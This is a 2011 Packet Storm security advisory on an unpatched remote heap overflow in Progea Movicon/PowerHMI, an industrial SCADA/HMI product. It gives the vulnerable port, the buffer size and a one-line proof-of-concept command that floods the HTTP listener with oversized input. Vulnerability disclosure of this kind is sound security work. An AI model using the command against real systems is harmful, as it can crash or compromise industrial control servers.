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Progea Movicon / PowerHMI 11.2.1085 Heap Overflow

🗓️ 14 Sep 2011 00:00:00Reported by Luigi AuriemmaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Progea Movicon/PowerHMI 11.2.1085 Heap Overflow, remote exploitation via HTTP request

Code
`#######################################################################  
  
Luigi Auriemma  
  
Application: Progea Movicon / PowerHMI  
http://www.progea.com  
Versions: <= 11.2.1085  
Platforms: Windows  
Bug: heap overflow  
Exploitation: remote  
Date: 13 Sep 2011  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
Movicon is an italian SCADA/HMI software.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
When the software runs a project it listens on port 808 for accepting  
some HTTP requests.  
  
The server is affected by a heap overflow caused by the usage of a  
buffer of 8192 bytes for containing the incoming HTTP requests.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://aluigi.org/testz/udpsz.zip  
  
udpsz -T -b 0x61 SERVER 808 10000  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix.  
  
  
#######################################################################  
`

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